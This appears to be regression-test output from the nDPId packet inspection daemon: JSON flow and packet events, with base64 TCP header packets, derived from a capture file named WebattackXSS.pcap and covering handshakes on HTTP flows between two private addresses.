{"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":320,"flow_packet_id":6,"flow_first_seen":1499347512081,"flow_last_seen":1499347517753,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57980,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5092,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":360,"flow_packet_id":1,"flow_first_seen":1499347578164,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58690,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":360,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5092,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347578,"pkt_ts_usec":164099,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86A1AAD4G3cKsEAABwKgKMuVCAFCbVdQUAAAAAKACchDMsgAAAgQFtAQCCAoBOzwZAAAAAAEDAwc="} +00444{"flow_id":360,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5093,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347578,"pkt_ts_usec":164225,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5UJIGXyrm1XUFaAScSD3WQAAAgQFtAQCCAoD5Q2OATs8GQEDAwc="} +00432{"flow_id":360,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5095,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347578,"pkt_ts_usec":165963,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06A5AAD4G3cmsEAABwKgKMuVCAFCbVdQVSBl8rIAQAOWWYQAAAQEICgE7PBkD5Q2O"} +00432{"flow_id":357,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5098,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347578,"pkt_ts_usec":772953,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0STRAAD4GfKSsEAABwKgKMuUGAFCilH4t85v2EIARAOXEwQAAAQEICgE7PLED5QiT"} +00434{"flow_id":357,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5099,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347578,"pkt_ts_usec":773242,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+DZAAEAGy6HAqAoyrBAAAQBQ5Qbzm\/YQopR+LoARAOO\/LwAAAQEICgPlDiYBOzyx"} +00433{"flow_id":357,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5100,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347578,"pkt_ts_usec":774083,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0STVAAD4GfKOsEAABwKgKMuUGAFCilH4u85v2EYAQAOW\/LQAAAQEICgE7PLED5Q4m"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5104,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":361,"flow_packet_id":1,"flow_first_seen":1499347579405,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58704,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":361,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5104,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347579,"pkt_ts_usec":405941,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8mitAAD4GK6WsEAABwKgKMuVQAFAuJKdkAAAAAKACchBlUAAAAgQFtAQCCAoBOz1PAAAAAAEDAwc="} +00444{"flow_id":361,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5105,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347579,"pkt_ts_usec":406073,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5VD8Ip+YLiSnZaAScSC3ygAAAgQFtAQCCAoD5Q7EATs9TwEDAwc="} +00433{"flow_id":361,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5106,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347579,"pkt_ts_usec":406936,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mixAAD4GK6ysEAABwKgKMuVQAFAuJKdl\/CKfmYAQAOVW0gAAAQEICgE7PU8D5Q7E"} +00433{"flow_id":358,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5110,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347579,"pkt_ts_usec":773869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0umhAAD4GC3CsEAABwKgKMuUaAFCmeIIGCeZ\/jYARAOUa6gAAAQEICgE7PasD5QnZ"} +00432{"flow_id":358,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5111,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347579,"pkt_ts_usec":774138,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0cK1AAEAGUyvAqAoyrBAAAQBQ5RoJ5n+NpniCB4AQAOMVpAAAAQEICgPlDyEBOz2r"} +00432{"flow_id":358,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5112,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347579,"pkt_ts_usec":774157,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0cK5AAEAGUyrAqAoyrBAAAQBQ5RoJ5n+NpniCB4ARAOMVowAAAQEICgPlDyEBOz2r"} +00433{"flow_id":358,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5113,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347579,"pkt_ts_usec":775041,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TuJAAD4GdvasEAABwKgKMuUaAFCmeIIHCeZ\/joAQAOUVoQAAAQEICgE7PasD5Q8h"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5117,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":362,"flow_packet_id":1,"flow_first_seen":1499347580693,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58718,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":362,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5117,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347580,"pkt_ts_usec":693907,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Ma5AAD4GlCKsEAABwKgKMuVeAFCEtA8\/AAAAAKACchCllQAAAgQFtAQCCAoBOz6RAAAAAAEDAwc="} +00444{"flow_id":362,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5118,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347580,"pkt_ts_usec":694030,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5V5F9x9ShLQPQKAScSAtQAAAAgQFtAQCCAoD5RAGATs+kQEDAwc="} +00432{"flow_id":362,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5120,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347580,"pkt_ts_usec":694951,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ma9AAD4GlCmsEAABwKgKMuVeAFCEtA9ARfcfU4AQAOXMRwAAAQEICgE7PpED5RAG"} +00433{"flow_id":359,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5123,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347580,"pkt_ts_usec":773919,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XdhAAD4GaACsEAABwKgKMuUoAFDuGWR0et++CIARAOU\/HQAAAQEICgE7PqUD5Qsa"} +00432{"flow_id":359,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5124,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347580,"pkt_ts_usec":774120,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rhJAAEAGFcbAqAoyrBAAAQBQ5Sh6374I7hlkdYAQAOM6HgAAAQEICgPlEBsBOz6l"} +00432{"flow_id":359,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5125,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347580,"pkt_ts_usec":774189,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rhNAAEAGFcXAqAoyrBAAAQBQ5Sh6374I7hlkdYARAOM6HQAAAQEICgPlEBsBOz6l"} +00432{"flow_id":359,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5126,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347580,"pkt_ts_usec":775929,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0T0RAAD4GdpSsEAABwKgKMuUoAFDuGWR1et++CYAQAOU6GgAAAQEICgE7PqYD5RAb"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5137,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":363,"flow_packet_id":1,"flow_first_seen":1499347583209,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58744,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":363,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5137,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347583,"pkt_ts_usec":209798,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8hK5AAD4GQSKsEAABwKgKMuV4AFAxSsWoAAAAAKACchBABwAAAgQFtAQCCAoBO0EGAAAAAAEDAwc="} +00444{"flow_id":363,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5138,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347583,"pkt_ts_usec":209950,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5XgjIturMUrFqaAScSAruAAAAgQFtAQCCAoD5RJ7ATtBBgEDAwc="} +00432{"flow_id":363,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5139,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347583,"pkt_ts_usec":211815,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hK9AAD4GQSmsEAABwKgKMuV4AFAxSsWpIyLbrIAQAOXKvgAAAQEICgE7QQcD5RJ7"} +00432{"flow_id":360,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5143,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347583,"pkt_ts_usec":773936,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06A9AAD4G3cisEAABwKgKMuVCAFCbVdQVSBl8rIARAOWQ5gAAAQEICgE7QZMD5Q2O"} +00432{"flow_id":360,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5144,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347583,"pkt_ts_usec":774140,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0b6RAAEAGVDTAqAoyrBAAAQBQ5UJIGXysm1XUFoAQAOOLbQAAAQEICgPlEwkBO0GT"} +00432{"flow_id":360,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5145,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347583,"pkt_ts_usec":774143,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0b6VAAEAGVDPAqAoyrBAAAQBQ5UJIGXysm1XUFoARAOOLbAAAAQEICgPlEwkBO0GT"} +00432{"flow_id":360,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5146,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347583,"pkt_ts_usec":775842,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UDxAAD4GdZysEAABwKgKMuVCAFCbVdQWSBl8rYAQAOWLaQAAAQEICgE7QZQD5RMJ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5150,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":364,"flow_packet_id":1,"flow_first_seen":1499347584472,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58758,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":364,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5150,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347584,"pkt_ts_usec":472745,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XXVAAD4GaFusEAABwKgKMuWGAFAsKR83AAAAAKACchDqTwAAAgQFtAQCCAoBO0JCAAAAAAEDAwc="} +00444{"flow_id":364,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5151,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347584,"pkt_ts_usec":472897,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5YYTf0ohLCkfOKAScSB18gAAAgQFtAQCCAoD5RO3ATtCQgEDAwc="} +00432{"flow_id":364,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5152,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347584,"pkt_ts_usec":473785,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XXZAAD4GaGKsEAABwKgKMuWGAFAsKR84E39KIoAQAOUU+gAAAQEICgE7QkID5RO3"} +00433{"flow_id":361,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5156,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347584,"pkt_ts_usec":774761,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mi1AAD4GK6usEAABwKgKMuVQAFAuJKdl\/CKfmYARAOVRkwAAAQEICgE7Qo0D5Q7E"} +00432{"flow_id":361,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5157,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347584,"pkt_ts_usec":774977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0i5pAAEAGOD7AqAoyrBAAAQBQ5VD8Ip+ZLiSnZoARAONMVQAAAQEICgPlFAMBO0KN"} +00433{"flow_id":361,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5158,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347584,"pkt_ts_usec":775812,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mi5AAD4GK6qsEAABwKgKMuVQAFAuJKdm\/CKfmoAQAOVMUgAAAQEICgE7Qo4D5RQD"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5162,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":365,"flow_packet_id":1,"flow_first_seen":1499347585744,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58772,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":365,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5162,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347585,"pkt_ts_usec":744968,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8CJdAAD4GvTmsEAABwKgKMuWUAFD9vEsXAAAAAKACchDrjwAAAgQFtAQCCAoBO0OAAAAAAAEDAwc="} +00445{"flow_id":365,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5163,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347585,"pkt_ts_usec":745063,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5ZQRxaCL\/bxLGKAScSAhRAAAAgQFtAQCCAoD5RT1ATtDgAEDAwc="} +00432{"flow_id":365,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5165,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347585,"pkt_ts_usec":746751,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CJhAAD4GvUCsEAABwKgKMuWUAFD9vEsYEcWgjIAQAOXASwAAAQEICgE7Q4AD5RT1"} +00432{"flow_id":362,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5168,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347585,"pkt_ts_usec":774888,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MbBAAD4GlCisEAABwKgKMuVeAFCEtA9ARfcfU4ARAOXHUAAAAQEICgE7Q4cD5RAG"} +00432{"flow_id":362,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5169,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347585,"pkt_ts_usec":775086,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0C65AAEAGuCrAqAoyrBAAAQBQ5V5F9x9ThLQPQYARAOPCWgAAAQEICgPlFP0BO0OH"} +00432{"flow_id":362,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5170,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347585,"pkt_ts_usec":776772,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MbFAAD4GlCesEAABwKgKMuVeAFCEtA9BRfcfVIAQAOXCVwAAAQEICgE7Q4gD5RT9"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":321,"flow_packet_id":6,"flow_first_seen":1499347513353,"flow_last_seen":1499347518754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57994,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":321,"flow_packet_id":6,"flow_first_seen":1499347513353,"flow_last_seen":1499347518754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57994,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":322,"flow_packet_id":6,"flow_first_seen":1499347514648,"flow_last_seen":1499347519754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58008,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":322,"flow_packet_id":6,"flow_first_seen":1499347514648,"flow_last_seen":1499347519754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58008,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":323,"flow_packet_id":6,"flow_first_seen":1499347517171,"flow_last_seen":1499347522754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58034,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 